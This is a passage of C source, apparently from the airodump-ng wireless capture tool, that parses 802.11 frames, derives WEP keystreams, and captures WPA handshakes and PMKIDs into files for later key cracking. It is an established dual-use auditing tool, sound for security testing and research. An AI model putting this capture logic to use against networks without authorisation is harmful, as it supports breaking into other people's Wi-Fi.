memcpy(ap_cur->essid, p + 2, n);
if (opt.f_ivs != NULL && !ap_cur->essid_stored)
{
memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
ivs2.flags |= IVS2_ESSID;
ivs2.len += ap_cur->ssid_length;
if (memcmp(lopt.prev_bssid, ap_cur->bssid, 6) != 0)
{
ivs2.flags |= IVS2_BSSID;
ivs2.len += 6;
memcpy(lopt.prev_bssid, ap_cur->bssid, 6);
}
/* write header */
if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), opt.f_ivs)
!= (size_t) sizeof(struct ivs2_pkthdr))
{
perror("fwrite(IV header) failed");
return (1);
}
/* write BSSID */
if (ivs2.flags & IVS2_BSSID)
{
if (fwrite(ap_cur->bssid, 1, 6, opt.f_ivs)
!= (size_t) 6)
{
perror("fwrite(IV bssid) failed");
return (1);
}
}
/* write essid */
if (fwrite(ap_cur->essid,
1,
(size_t) ap_cur->ssid_length,
opt.f_ivs)
!= (size_t) ap_cur->ssid_length)
{
perror("fwrite(IV essid) failed");
return (1);
}
ap_cur->essid_stored = 1;
}
if (verifyssid(ap_cur->essid) == 0)
for (i = 0; i < n; i++)
if (ap_cur->essid[i] < 32) ap_cur->essid[i] = '.';
}
/* get the maximum speed in Mb and the AP's channel */
if (p[0] == 0x01 || p[0] == 0x32)
{
if (ap_cur->max_speed < (p[1 + p[1]] & 0x7F) / 2)
ap_cur->max_speed = (p[1 + p[1]] & 0x7F) / 2;
}
if (p[0] == 0x03)
{
ap_cur->channel = p[2];
}
else if (p[0] == 0x3d)
{
if (ap_cur->standard[0] == '\0')
{
ap_cur->standard[0] = 'n';
}
/* also get the channel from ht information->primary channel */
ap_cur->channel = p[2];
// Get channel width and secondary channel
switch (p[3] % 4)
{
case 0:
// 20MHz
ap_cur->channel_width = CHANNEL_20MHZ;
break;
case 1:
// Above
ap_cur->n_channel.sec_channel = 1;
switch (ap_cur->channel_width)
{
case CHANNEL_UNKNOWN_WIDTH:
case CHANNEL_3MHZ:
case CHANNEL_5MHZ:
case CHANNEL_10MHZ:
case CHANNEL_20MHZ:
case CHANNEL_22MHZ:
case CHANNEL_30MHZ:
case CHANNEL_20_OR_40MHZ:
ap_cur->channel_width = CHANNEL_40MHZ;
break;
default:
break;
}
break;
case 2:
// Reserved
break;
case 3:
// Below
ap_cur->n_channel.sec_channel = -1;
switch (ap_cur->channel_width)
{
case CHANNEL_UNKNOWN_WIDTH:
case CHANNEL_3MHZ:
case CHANNEL_5MHZ:
case CHANNEL_10MHZ:
case CHANNEL_20MHZ:
case CHANNEL_22MHZ:
case CHANNEL_30MHZ:
case CHANNEL_20_OR_40MHZ:
ap_cur->channel_width = CHANNEL_40MHZ;
break;
default:
break;
}
break;
default:
break;
}
ap_cur->n_channel.any_chan_width = (uint8_t) ((p[3] / 4) % 2);
}
// HT capabilities
if (p[0] == 0x2d && p[1] > 18)
{
if (ap_cur->standard[0] == '\0')
{
ap_cur->standard[0] = 'n';
}
// Short GI for 20/40MHz
ap_cur->n_channel.short_gi_20 = (uint8_t) ((p[3] / 32) % 2);
ap_cur->n_channel.short_gi_40 = (uint8_t) ((p[3] / 64) % 2);
// Parse MCS rate
/*
* XXX: Sometimes TX and RX spatial stream # differ and none of
* the beacon
* have that. If someone happens to have such AP, open an issue
* with it.
* Ref:
* https://www.wireshark.org/lists/wireshark-bugs/201307/msg00098.html
* See IEEE standard 802.11-2012 table 8.126
*
* For now, just figure out the highest MCS rate.
*/
if ((unsigned char) ap_cur->n_channel.mcs_index == 0xff)
{
uint32_t rx_mcs_bitmask = 0;
memcpy(&rx_mcs_bitmask, p + 5, sizeof(uint32_t));
while (rx_mcs_bitmask)
{
++(ap_cur->n_channel.mcs_index);
rx_mcs_bitmask /= 2;
}
}
}
// VHT Capabilities
if (p[0] == 0xbf && p[1] >= 12)
{
// Standard is AC
strcpy(ap_cur->standard, "ac");
ap_cur->ac_channel.split_chan = (uint8_t) ((p[3] / 4) % 4);
ap_cur->ac_channel.short_gi_80 = (uint8_t) ((p[3] / 32) % 2);
ap_cur->ac_channel.short_gi_160 = (uint8_t) ((p[3] / 64) % 2);
ap_cur->ac_channel.mu_mimo = (uint8_t) ((p[4] & 0x18) % 2);
// A few things indicate Wave 2: MU-MIMO, 80+80 Channels
ap_cur->ac_channel.wave_2
= (uint8_t) ((ap_cur->ac_channel.mu_mimo
|| ap_cur->ac_channel.split_chan)
% 2);
// Maximum rates (16 bit)
uint16_t tx_mcs = 0;
memcpy(&tx_mcs, p + 10, sizeof(uint16_t));
// Maximum of 8 SS, each uses 2 bits
for (uint8_t stream_idx = 0; stream_idx < MAX_AC_MCS_INDEX;
++stream_idx)
{
uint8_t mcs = (uint8_t) (tx_mcs % 4);
// Unsupported -> No more spatial stream
if (mcs == 3)
{
break;
}
switch (mcs)
{
case 0:
// support of MCS 0-7
ap_cur->ac_channel.mcs_index[stream_idx] = 7;
break;
case 1:
// support of MCS 0-8
ap_cur->ac_channel.mcs_index[stream_idx] = 8;
break;
case 2:
// support of MCS 0-9
ap_cur->ac_channel.mcs_index[stream_idx] = 9;
break;
default:
break;
}
// Next spatial stream
tx_mcs /= 4;
}
}
// VHT Operations
if (p[0] == 0xc0 && p[1] >= 3)
{
// Standard is AC
strcpy(ap_cur->standard, "ac");
// Channel width
switch (p[2])
{
case 0:
// 20 or 40MHz
ap_cur->channel_width = CHANNEL_20_OR_40MHZ;
break;
case 1:
ap_cur->channel_width = CHANNEL_80MHZ;
break;
case 2:
ap_cur->channel_width = CHANNEL_160MHZ;
break;
case 3:
// 80+80MHz
ap_cur->channel_width = CHANNEL_80_80MHZ;
ap_cur->ac_channel.split_chan = 1;
break;
default:
break;
}
// 802.11ac channel center segments
ap_cur->ac_channel.center_sgmt[0] = p[3];
ap_cur->ac_channel.center_sgmt[1] = p[4];
}
// Next
p += 2 + p[1];
}
// Now get max rate
if (ap_cur->standard[0] == 'n' || strcmp(ap_cur->standard, "ac") == 0)
{
int sgi = 0;
int width = 0;
switch (ap_cur->channel_width)
{
case CHANNEL_20MHZ:
width = 20;
sgi = ap_cur->n_channel.short_gi_20;
break;
case CHANNEL_20_OR_40MHZ:
case CHANNEL_40MHZ:
width = 40;
sgi = ap_cur->n_channel.short_gi_40;
break;
case CHANNEL_80MHZ:
width = 80;
sgi = ap_cur->ac_channel.short_gi_80;
break;
case CHANNEL_80_80MHZ:
case CHANNEL_160MHZ:
width = 160;
sgi = ap_cur->ac_channel.short_gi_160;
break;
default:
break;
}
if (width != 0)
{
// In case of ac, get the amount of spatial streams
int amount_ss = 1;
if (ap_cur->standard[0] != 'n')
{
for (amount_ss = 0;
amount_ss < MAX_AC_MCS_INDEX
&& ap_cur->ac_channel.mcs_index[amount_ss] != 0;
++amount_ss)
;
}
// Get rate
float max_rate
= (ap_cur->standard[0] == 'n')
? get_80211n_rate(
width, sgi, ap_cur->n_channel.mcs_index)
: get_80211ac_rate(
width,
sgi,
ap_cur->ac_channel.mcs_index[amount_ss - 1],
amount_ss);
// If no error, update rate
if (max_rate > 0)
{
ap_cur->max_speed = (int) max_rate;
}
}
}
}
/* packet parsing: Beacon & Probe response */
/* TODO: Merge this if and the one above */
if ((h80211[0] == IEEE80211_FC0_SUBTYPE_BEACON
|| h80211[0] == IEEE80211_FC0_SUBTYPE_PROBE_RESP)
&& caplen > 38)
{
p = h80211 + 36; // ignore hdr + fixed params
while (p < h80211 + caplen)
{
type = p[0];
length = p[1];
if (p + 2 + length > h80211 + caplen)
{
/* printf("error parsing tags! %p vs. %p (tag:
%i, length: %i,position: %i)\n", (p+2+length), (h80211+caplen),
type, length, (p-h80211));
exit(1);*/
break;
}
// Find WPA and RSN tags
if ((type == 0xDD && (length >= 8)
&& (memcmp(p + 2, "\x00\x50\xF2\x01\x01\x00", 6) == 0))
|| (type == 0x30))
{
ap_cur->security &= ~(STD_WEP | ENC_WEP | STD_WPA);
org_p = p;
offset = 0;
if (type == 0xDD)
{
// WPA defined in vendor specific tag -> WPA1 support
ap_cur->security |= STD_WPA;
offset = 4;
}
// RSN => WPA2
if (type == 0x30)
{
ap_cur->security |= STD_WPA2;
offset = 0;
}
if (length < (18 + offset))
{
p += length + 2;
continue;
}
// Number of pairwise cipher suites
if (p + 9 + offset > h80211 + caplen) break;
numuni = p[8 + offset] + (p[9 + offset] << 8);
// Number of Authentication Key Management suites
if (p + (11 + offset) + 4 * numuni > h80211 + caplen) break;
numauth = p[(10 + offset) + 4 * numuni]
+ (p[(11 + offset) + 4 * numuni] << 8);
p += (10 + offset);
if (type != 0x30)
{
if (p + (4 * numuni) + (2 + 4 * numauth) > h80211 + caplen)
break;
}
else
{
if (p + (4 * numuni) + (2 + 4 * numauth) + 2
> h80211 + caplen)
break;
}
// Get the list of cipher suites
for (i = 0; i < (size_t) numuni; i++)
{
switch (p[i * 4 + 3])
{
case 0x01:
ap_cur->security |= ENC_WEP;
break;
case 0x02:
ap_cur->security |= ENC_TKIP;
break;
case 0x03:
ap_cur->security |= ENC_WRAP;
break;
case 0x0A:
case 0x04:
ap_cur->security |= ENC_CCMP;
ap_cur->security |= STD_WPA2;
break;
case 0x05:
ap_cur->security |= ENC_WEP104;
break;
case 0x08:
case 0x09:
ap_cur->security |= ENC_GCMP;
ap_cur->security |= STD_WPA2;
break;
case 0x0B:
case 0x0C:
ap_cur->security |= ENC_GMAC;
ap_cur->security |= STD_WPA2;
break;
default:
break;
}
}
p += 2 + 4 * numuni;
// Get the AKM suites
for (i = 0; i < numauth; i++)
{
switch (p[i * 4 + 3])
{
case 0x01:
ap_cur->security |= AUTH_MGT;
break;
case 0x02:
ap_cur->security |= AUTH_PSK;
break;
case 0x06:
case 0x0d:
ap_cur->security |= AUTH_CMAC;
break;
case 0x08:
ap_cur->security |= AUTH_SAE;
break;
case 0x12:
ap_cur->security |= AUTH_OWE;
break;
default:
break;
}
}
p = org_p + length + 2;
}
else if ((type == 0xDD && (length >= 8)
&& (memcmp(p + 2, "\x00\x50\xF2\x02\x01\x01", 6) == 0)))
{
// QoS IE
ap_cur->security |= STD_QOS;
p += length + 2;
}
else if ((type == 0xDD && (length >= 4)
&& (memcmp(p + 2, "\x00\x50\xF2\x04", 4) == 0)))
{
// WPS IE
org_p = p;
p += 6;
int len = length, subtype = 0, sublen = 0;
while (len >= 4)
{
subtype = (p[0] << 8) + p[1];
sublen = (p[2] << 8) + p[3];
if (sublen > len) break;
switch (subtype)
{
case 0x104a: // WPS Version
ap_cur->wps.version = p[4];
break;
case 0x1011: // Device Name
case 0x1012: // Device Password ID
case 0x1021: // Manufacturer
case 0x1023: // Model
case 0x1024: // Model Number
case 0x103b: // Response Type
case 0x103c: // RF Bands
case 0x1041: // Selected Registrar
case 0x1042: // Serial Number
break;
case 0x1044: // WPS State
ap_cur->wps.state = p[4];
break;
case 0x1047: // UUID Enrollee
case 0x1049: // Vendor Extension
if (memcmp(&p[4], "\x00\x37\x2A", 3) == 0)
{
unsigned char * pwfa = &p[7];
int wfa_len = ntohs(*((short *) &p[2]));
while (wfa_len > 0)
{
if (*pwfa == 0)
{ // Version2
ap_cur->wps.version = pwfa[2];
break;
}
wfa_len -= pwfa[1] + 2;
pwfa += pwfa[1] + 2;
}
}
break;
case 0x1054: // Primary Device Type
break;
case 0x1057: // AP Setup Locked
ap_cur->wps.ap_setup_locked = p[4];
break;
case 0x1008: // Config Methods
case 0x1053: // Selected Registrar Config Methods
ap_cur->wps.meth = (p[4] << 8) + p[5];
break;
default: // Unknown type-length-value
break;
}
p += sublen + 4;
len -= sublen + 4;
}
p = org_p + length + 2;
}
else
p += length + 2;
}
}
/* packet parsing: Authentication Response */
if (h80211[0] == IEEE80211_FC0_SUBTYPE_AUTH && caplen >= 30)
{
if (ap_cur->security & STD_WEP)
{
// successful step 2 or 4 (coming from the AP)
if (memcmp(h80211 + 28, "\x00\x00", 2) == 0
&& (h80211[26] == 0x02 || h80211[26] == 0x04))
{
ap_cur->security &= ~(AUTH_OPN | AUTH_PSK | AUTH_MGT);
if (h80211[24] == 0x00) ap_cur->security |= AUTH_OPN;
if (h80211[24] == 0x01) ap_cur->security |= AUTH_PSK;
}
}
}
/* packet parsing: Association Request */
if (h80211[0] == IEEE80211_FC0_SUBTYPE_ASSOC_REQ && caplen > 28)
{
p = h80211 + 28;
while (p < h80211 + caplen)
{
if (p + 2 + p[1] > h80211 + caplen) break;
if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
&& (p[1] > 1 || p[2] != ' '))
{
/* found a non-cloaked ESSID */
n = MIN(ESSID_LENGTH, p[1]);
memset(ap_cur->essid, 0, ESSID_LENGTH + 1);
memcpy(ap_cur->essid, p + 2, n);
ap_cur->ssid_length = (int) n;
if (opt.f_ivs != NULL && !ap_cur->essid_stored)
{
memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
ivs2.flags |= IVS2_ESSID;
ivs2.len += ap_cur->ssid_length;
if (memcmp(lopt.prev_bssid, ap_cur->bssid, 6) != 0)
{
ivs2.flags |= IVS2_BSSID;
ivs2.len += 6;
memcpy(lopt.prev_bssid, ap_cur->bssid, 6);
}
/* write header */
if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), opt.f_ivs)
!= (size_t) sizeof(struct ivs2_pkthdr))
{
perror("fwrite(IV header) failed");
return (1);
}
/* write BSSID */
if (ivs2.flags & IVS2_BSSID)
{
if (fwrite(ap_cur->bssid, 1, 6, opt.f_ivs)
!= (size_t) 6)
{
perror("fwrite(IV bssid) failed");
return (1);
}
}
/* write essid */
if (fwrite(ap_cur->essid,
1,
(size_t) ap_cur->ssid_length,
opt.f_ivs)
!= (size_t) ap_cur->ssid_length)
{
perror("fwrite(IV essid) failed");
return (1);
}
ap_cur->essid_stored = 1;
}
if (verifyssid(ap_cur->essid) == 0)
for (i = 0; i < n; i++)
if (ap_cur->essid[i] < 32) ap_cur->essid[i] = '.';
}
p += 2 + p[1];
}
if (st_cur != NULL) st_cur->wpa.state = 0;
}
/* packet parsing: some data */
if ((h80211[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_DATA)
{
/* update the channel if we didn't get any beacon */
if (ap_cur->channel == -1)
{
if (ri->ri_channel > 0 && ri->ri_channel <= HIGHEST_CHANNEL)
ap_cur->channel = ri->ri_channel;
else
ap_cur->channel = lopt.channel[cardnum];
}
/* check the SNAP header to see if data is encrypted */
z = ((h80211[1] & IEEE80211_FC1_DIR_MASK) != IEEE80211_FC1_DIR_DSTODS)
? 24
: 30;
/* Check if 802.11e (QoS) */
if ((h80211[0] & 0x80) == 0x80)
{
z += 2;
if (st_cur != NULL)
{
if ((h80211[1] & 3) == 1) // ToDS
st_cur->qos_to_ds = 1;
else
st_cur->qos_fr_ds = 1;
}
}
else
{
if (st_cur != NULL)
{
if ((h80211[1] & 3) == 1) // ToDS
st_cur->qos_to_ds = 0;
else
st_cur->qos_fr_ds = 0;
}
}
if (z == 24)
{
if (list_check_decloak(&(ap_cur->packets), caplen, h80211) != 0)
{
list_add_packet(&(ap_cur->packets), caplen, h80211);
}
else
{
ap_cur->is_decloak = 1;
ap_cur->decloak_detect = 0;
list_tail_free(&(ap_cur->packets));
memset(lopt.message, '\x00', sizeof(lopt.message));
snprintf(lopt.message,
sizeof(lopt.message) - 1,
"][ Decloak: %02X:%02X:%02X:%02X:%02X:%02X ",
ap_cur->bssid[0],
ap_cur->bssid[1],
ap_cur->bssid[2],
ap_cur->bssid[3],
ap_cur->bssid[4],
ap_cur->bssid[5]);
}
}
if (z + 26 > (unsigned) caplen) goto write_packet;
if (h80211[z] == h80211[z + 1] && h80211[z + 2] == 0x03)
{
// if( ap_cur->encryption < 0 )
// ap_cur->encryption = 0;
/* if ethertype == IPv4, find the LAN address */
if (h80211[z + 6] == 0x08 && h80211[z + 7] == 0x00
&& (h80211[1] & 3) == 0x01)
memcpy(ap_cur->lanip, &h80211[z + 20], 4);
if (h80211[z + 6] == 0x08 && h80211[z + 7] == 0x06)
memcpy(ap_cur->lanip, &h80211[z + 22], 4);
}
// else
// ap_cur->encryption = 2 + ( ( h80211[z + 3] & 0x20 ) >> 5
// );
if (ap_cur->security == 0 || (ap_cur->security & STD_WEP))
{
if ((h80211[1] & 0x40) != 0x40)
{
ap_cur->security |= STD_OPN;
}
else
{
if ((h80211[z + 3] & 0x20) == 0x20)
{
ap_cur->security |= STD_WPA;
}
else
{
ap_cur->security |= STD_WEP;
if ((h80211[z + 3] & 0xC0) != 0x00)
{
ap_cur->security |= ENC_WEP40;
}
else
{
ap_cur->security &= ~ENC_WEP40;
ap_cur->security |= ENC_WEP;
}
}
}
}
if (z + 10 > (unsigned) caplen) goto write_packet;
if (ap_cur->security & STD_WEP)
{
/* WEP: check if we've already seen this IV */
if (!uniqueiv_check(ap_cur->uiv_root, &h80211[z]))
{
/* first time seen IVs */
if (opt.f_ivs != NULL)
{
memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
ivs2.flags = 0;
ivs2.len = 0;
/* datalen = caplen - (header+iv+ivs) */
dlen = caplen - z - 4 - 4; // original data len
if (dlen > 2048) dlen = 2048;
// get cleartext + len + 4(iv+idx)
num_xor = known_clear(clear, &clen, weight, h80211, dlen);
if (num_xor == 1)
{
ivs2.flags |= IVS2_XOR;
ivs2.len += clen + 4;
/* reveal keystream (plain^encrypted) */
for (n = 0; n < (size_t) (ivs2.len - 4); n++)
{
clear[n] = (uint8_t) ((clear[n] ^ h80211[z + 4 + n])
& 0xFF);
}
// clear is now the keystream
}
else
{
// do it again to get it 2 bytes higher
num_xor = known_clear(
clear + 2, &clen, weight, h80211, dlen);
ivs2.flags |= IVS2_PTW;
// len = 4(iv+idx) + 1(num of keystreams) + 1(len per
// keystream) + 32*num_xor + 16*sizeof(int)(weight[16])
ivs2.len += 4 + 1 + 1 + 32 * num_xor + 16 * sizeof(int);
clear[0] = (uint8_t) num_xor;
clear[1] = (uint8_t) clen;
/* reveal keystream (plain^encrypted) */
for (o = 0; o < num_xor; o++)
{
for (n = 0; n < (size_t) (ivs2.len - 4); n++)
{
clear[2 + n + o * 32]
= (uint8_t) ((clear[2 + n + o * 32]
^ h80211[z + 4 + n])
& 0xFF);
}
}
memcpy(clear + 4 + 1 + 1 + 32 * num_xor,
weight,
16 * sizeof(int));
// clear is now the keystream
}
if (memcmp(lopt.prev_bssid, ap_cur->bssid, 6) != 0)
{
ivs2.flags |= IVS2_BSSID;
ivs2.len += 6;
memcpy(lopt.prev_bssid, ap_cur->bssid, 6);
}
if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), opt.f_ivs)
!= (size_t) sizeof(struct ivs2_pkthdr))
{
perror("fwrite(IV header) failed");
return (EXIT_FAILURE);
}
if (ivs2.flags & IVS2_BSSID)
{
if (fwrite(ap_cur->bssid, 1, 6, opt.f_ivs)
!= (size_t) 6)
{
perror("fwrite(IV bssid) failed");
return (1);
}
ivs2.len -= 6;
}
if (fwrite(h80211 + z, 1, 4, opt.f_ivs) != (size_t) 4)
{
perror("fwrite(IV iv+idx) failed");
return (EXIT_FAILURE);
}
ivs2.len -= 4;
if (fwrite(clear, 1, ivs2.len, opt.f_ivs)
!= (size_t) ivs2.len)
{
perror("fwrite(IV keystream) failed");
return (EXIT_FAILURE);
}
}
uniqueiv_mark(ap_cur->uiv_root, &h80211[z]);
ap_cur->nb_data++;
}
// Record all data linked to IV to detect WEP Cloaking
if (opt.f_ivs == NULL && lopt.detect_anomaly)
{
// Only allocate this when seeing WEP AP
if (ap_cur->data_root == NULL) ap_cur->data_root = data_init();
// Only works with full capture, not IV-only captures
if (data_check(ap_cur->data_root, &h80211[z], &h80211[z + 4])
== CLOAKING
&& ap_cur->EAP_detected == 0)
{
// If no EAP/EAP was detected, indicate WEP cloaking
memset(lopt.message, '\x00', sizeof(lopt.message));
snprintf(lopt.message,
sizeof(lopt.message) - 1,
"][ WEP Cloaking: %02X:%02X:%02X:%02X:%02X:%02X ",
ap_cur->bssid[0],
ap_cur->bssid[1],
ap_cur->bssid[2],
ap_cur->bssid[3],
ap_cur->bssid[4],
ap_cur->bssid[5]);
}
}
}
else
{
ap_cur->nb_data++;
}
z = ((h80211[1] & IEEE80211_FC1_DIR_MASK) != IEEE80211_FC1_DIR_DSTODS)
? 24
: 30;
/* Check if 802.11e (QoS) */
if ((h80211[0] & 0x80) == 0x80) z += 2;
if (z + 26 > (unsigned) caplen) goto write_packet;
z += 6; // skip LLC header
/* check ethertype == EAPOL */
if (h80211[z] == 0x88 && h80211[z + 1] == 0x8E
&& (h80211[1] & 0x40) != 0x40)
{
ap_cur->EAP_detected = 1;
z += 2; // skip ethertype
if (st_cur == NULL) goto write_packet;
/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
&& (h80211[z + 6] & 0x80) != 0 && (h80211[z + 5] & 0x01) == 0)
{
memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
st_cur->wpa.state = 1;
uint8_t key_descriptor_version = (uint8_t) (h80211[z + 6] & 7);
p = h80211 + z + 99;
while (p < h80211 + caplen)
{
if (p + 2 + p[1] > h80211 + caplen) break;
#ifdef XDEBUG
fprintf(stderr, "IE element: %d\n", p[0]);
fprintf(stderr, "IE length: %d\n", p[1]);
#endif
if (p[0] == IEEE80211_ELEMID_VENDOR)
{
size_t rsn_len = p[1];
size_t pos = 2;
const uint8_t rsn_oui[] = {RSN_OUI & 0xff,
(RSN_OUI >> 8) & 0xff,
(RSN_OUI >> 16) & 0xff};
#ifdef XDEBUG
fprintf(stderr, "RSN length: %zd\n", rsn_len);
fprintf(stderr,
"OUI is %02x:%02x:%02x\n",
p[pos],
p[pos + 1],
p[pos + 2]);
#endif
if (memcmp(rsn_oui, &p[pos], 3) == 0)
{
if (pos + 3 > rsn_len) goto rsn_out;
pos += 3; // advance over RSN OUI
#ifdef XDEBUG
fprintf(stderr,
"The cipher tag value '%d' is used with "
"the key descriptor version '%d'\n",
p[pos],
key_descriptor_version);
#endif
if (pos + 1 > rsn_len) goto rsn_out;
pos += 1; // advance over tag value
if (key_descriptor_version > 0
&& memcmp(ZERO, &p[pos], 16) //-V512
!= 0)
{
#ifdef XDEBUG
fprintf(stderr, "FOUND valid CCM PMKID\n");
#endif
// Got a PMKID value?!
memcpy(st_cur->wpa.pmkid, &p[pos], 16);
/* copy the key descriptor version */
st_cur->wpa.keyver = key_descriptor_version;
memcpy(st_cur->wpa.stmac, st_cur->stmac, 6);
memcpy(lopt.wpa_bssid, ap_cur->bssid, 6);
memset(
lopt.message, '\x00', sizeof(lopt.message));
snprintf(lopt.message,
sizeof(lopt.message) - 1,
"][ PMKID found: "
"%02X:%02X:%02X:%02X:%02X:%02X ",
lopt.wpa_bssid[0],
lopt.wpa_bssid[1],
lopt.wpa_bssid[2],
lopt.wpa_bssid[3],
lopt.wpa_bssid[4],
lopt.wpa_bssid[5]);
goto write_packet;
}
}
}
p += 2 + p[1];
}
rsn_out:;
}
/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
if (z + 17 + 32 > (unsigned) caplen) goto write_packet;
if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
&& (h80211[z + 6] & 0x80) == 0 && (h80211[z + 5] & 0x01) != 0)
{
if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
{
memcpy(st_cur->wpa.snonce, &h80211[z + 17], 32);
st_cur->wpa.state |= 2;
}
if ((st_cur->wpa.state & 4) != 4)
{
st_cur->wpa.eapol_size
= (uint32_t) ((h80211[z + 2] << 8) + h80211[z + 3] + 4);
if (caplen - z < st_cur->wpa.eapol_size
|| st_cur->wpa.eapol_size == 0 //-V560
|| caplen - z < 81 + 16
|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol))
{
// Ignore the packet trying to crash us.
st_cur->wpa.eapol_size = 0;
goto write_packet;
}
memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
memcpy(
st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
memset(st_cur->wpa.eapol + 81, 0, 16);
st_cur->wpa.state |= 4;
st_cur->wpa.keyver = (uint8_t) (h80211[z + 6] & 7);
}
}
/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) != 0
&& (h80211[z + 6] & 0x80) != 0 && (h80211[z + 5] & 0x01) != 0)
{
if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
{
memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
st_cur->wpa.state |= 1;
}
if ((st_cur->wpa.state & 4) != 4)
{
st_cur->wpa.eapol_size
= (h80211[z + 2] << 8) + h80211[z + 3] + 4u;
if (st_cur->wpa.eapol_size == 0 //-V560
|| st_cur->wpa.eapol_size
>= sizeof(st_cur->wpa.eapol) - 16)
{
// Ignore the packet trying to crash us.
st_cur->wpa.eapol_size = 0;
goto write_packet;
}
memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
memcpy(
st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
memset(st_cur->wpa.eapol + 81, 0, 16);
st_cur->wpa.state |= 4;
st_cur->wpa.keyver = (uint8_t) (h80211[z + 6] & 7);
}
}
if (st_cur->wpa.state == 7 && !is_filtered_essid(ap_cur->essid))
{
memcpy(st_cur->wpa.stmac, st_cur->stmac, 6);
memcpy(lopt.wpa_bssid, ap_cur->bssid, 6);
memset(lopt.message, '\x00', sizeof(lopt.message));
snprintf(lopt.message,
sizeof(lopt.message) - 1,
"][ WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X ",
lopt.wpa_bssid[0],
lopt.wpa_bssid[1],
lopt.wpa_bssid[2],
lopt.wpa_bssid[3],
lopt.wpa_bssid[4],
lopt.wpa_bssid[5]);
if (opt.f_ivs != NULL)
{
memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
ivs2.flags = 0;
ivs2.len = sizeof(struct WPA_hdsk);
ivs2.flags |= IVS2_WPA;
if (memcmp(lopt.prev_bssid, ap_cur->bssid, 6) != 0)
{
ivs2.flags |= IVS2_BSSID;
ivs2.len += 6;
memcpy(lopt.prev_bssid, ap_cur->bssid, 6);
}
if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), opt.f_ivs)
!= (size_t) sizeof(struct ivs2_pkthdr))
{
perror("fwrite(IV header) failed");
return (EXIT_FAILURE);
}
if (ivs2.flags & IVS2_BSSID)
{
if (fwrite(ap_cur->bssid, 1, 6, opt.f_ivs)
!= (size_t) 6)
{
perror("fwrite(IV bssid) failed");
return (EXIT_FAILURE);
}
ivs2.len -= 6;
}
if (fwrite(&(st_cur->wpa),
1,
sizeof(struct WPA_hdsk),
opt.f_ivs)
!= (size_t) sizeof(struct WPA_hdsk))
{
perror("fwrite(IV wpa_hdsk) failed");
return (EXIT_FAILURE);
}
}
}
}
}
write_packet:
if (ap_cur != NULL)
{
if (h80211[0] == 0x80 && lopt.one_beacon)
{
if (!ap_cur->beacon_logged)
ap_cur->beacon_logged = 1;
else
return (0);
}
}
if (opt.record_data)
{
if (((h80211[0] & 0x0C) == 0x00) && ((h80211[0] & 0xF0) == 0xB0))
{
/* authentication packet */
check_shared_key(h80211, (size_t) caplen);
}
}
if (ap_cur != NULL)
{
if (ap_cur->security != 0 && lopt.f_encrypt != 0
&& ((ap_cur->security & lopt.f_encrypt) == 0))
{
return (1);
}
if (is_filtered_essid(ap_cur->essid))
{
return (1);
}
}
/* this changes the local ap_cur, st_cur and na_cur variables and should be
* the last check before the actual write */
if (caplen < 24 && caplen >= 10 && h80211[0])
{
/* RTS || CTS || ACK || CF-END || CF-END&CF-ACK*/
//(h80211[0] == 0xB4 || h80211[0] == 0xC4 || h80211[0] == 0xD4 ||
// h80211[0] == 0xE4 || h80211[0] == 0xF4)
/* use general control frame detection, as the structure is always the
* same: mac(s) starting at [4] */
if (h80211[0] & 0x04)
{
p = h80211 + 4;
while ((uintptr_t) p <= adds_uptr((uintptr_t) h80211, 16)
&& (uintptr_t) p <= adds_uptr((uintptr_t) h80211, caplen))
{
memcpy(namac, p, 6);
if (memcmp(namac, NULL_MAC, 6) == 0)
{
p += 6;
continue;
}
if (memcmp(namac, BROADCAST, 6) == 0)
{
p += 6;
continue;
}
if (lopt.hide_known)
{
/* check AP list */
ap_cur = lopt.ap_1st;
while (ap_cur != NULL)
{
if (!memcmp(ap_cur->bssid, namac, 6)) break;
ap_cur = ap_cur->next;
}
/* if it's an AP, try next mac */
if (ap_cur != NULL)
{
p += 6;
continue;
}
/* check ST list */
st_cur = lopt.st_1st;
while (st_cur != NULL)
{
if (!memcmp(st_cur->stmac, namac, 6)) break;
st_cur = st_cur->next;
}
/* if it's a client, try next mac */
if (st_cur != NULL)
{
p += 6;
continue;
}
}
/* not found in either AP list or ST list, look through NA list
*/
na_cur = lopt.na_1st;
na_prv = NULL;
while (na_cur != NULL)
{
if (!memcmp(na_cur->namac, namac, 6)) break;
na_prv = na_cur;
na_cur = na_cur->next;
}
/* update our chained list of unknown stations */
/* if it's a new mac, add it */
if (na_cur == NULL)
{
if (!(na_cur
= (struct NA_info *) malloc(sizeof(struct NA_info))))
{
perror("malloc failed");
return (1);
}
memset(na_cur, 0, sizeof(struct NA_info));
if (lopt.na_1st == NULL)
lopt.na_1st = na_cur;
else
na_prv->next = na_cur;
memcpy(na_cur->namac, namac, 6);
na_cur->prev = na_prv;
gettimeofday(&(na_cur->tv), NULL);
na_cur->tinit = time(NULL);
na_cur->tlast = time(NULL);
na_cur->power = -1;
na_cur->channel = -1;
na_cur->ack = 0;
